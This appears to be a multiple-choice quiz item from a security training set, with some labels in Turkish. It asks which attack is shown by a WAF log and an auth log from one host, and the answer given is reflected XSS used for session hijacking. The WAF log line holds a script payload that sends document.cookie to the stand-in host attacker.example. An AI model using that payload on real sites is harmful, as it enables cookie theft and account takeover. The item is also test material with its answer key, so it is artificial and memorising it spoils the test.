During an automated security incident evaluation, a threat monitoring system correlated two consecutive events originating from external host 198.51.100.44:
text
Event ID 8102 [WAF Log]: 198.51.100.44 - - [12/Jun/2026:14:22:01 +0000] "GET /profile?user=<script>document.location='http://attacker.example/steal?c='+document.cookie</script> HTTP/1.1" 200 4520
Event ID 8103 [Auth Log]: 198.51.100.44 - - [12/Jun/2026:14:22:05 +0000] "POST /api/v2/auth/session_adopt HTTP/1.1" 200 128 Cookie: session_id=e9a1b2c3
Based on the log entries above, which security threat vector is actively taking place, and what is its primary impact?
- Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.Cevap
- BSQL Injection (SQLi) executing arbitrary commands against backend relational database tables.
- CAn authorization failure allowing an authenticated user to perform unauthorized privilege escalation.
- DA SIEM normalization error caused by mismatched timestamp parsing across separate log streams.
Cevap
Reflected Cross-Site Scripting (XSS) leveraged to achieve session hijacking through client-side cookie theft.
The WAF log entry displays a explicit `<script>` tag containing `document.cookie` intended to forward cookie data to an external location, which is a classic Cross-Site Scripting (XSS) attack vector. The subsequent authentication log entry shows the same external host presenting a valid session cookie four seconds later, confirming that the attacker successfully hijacked the session.
Adım Adım Çözüm
Anahtar Kavram
Correlating multi-source logs in SIEM to detect XSS and session hijacking attack patterns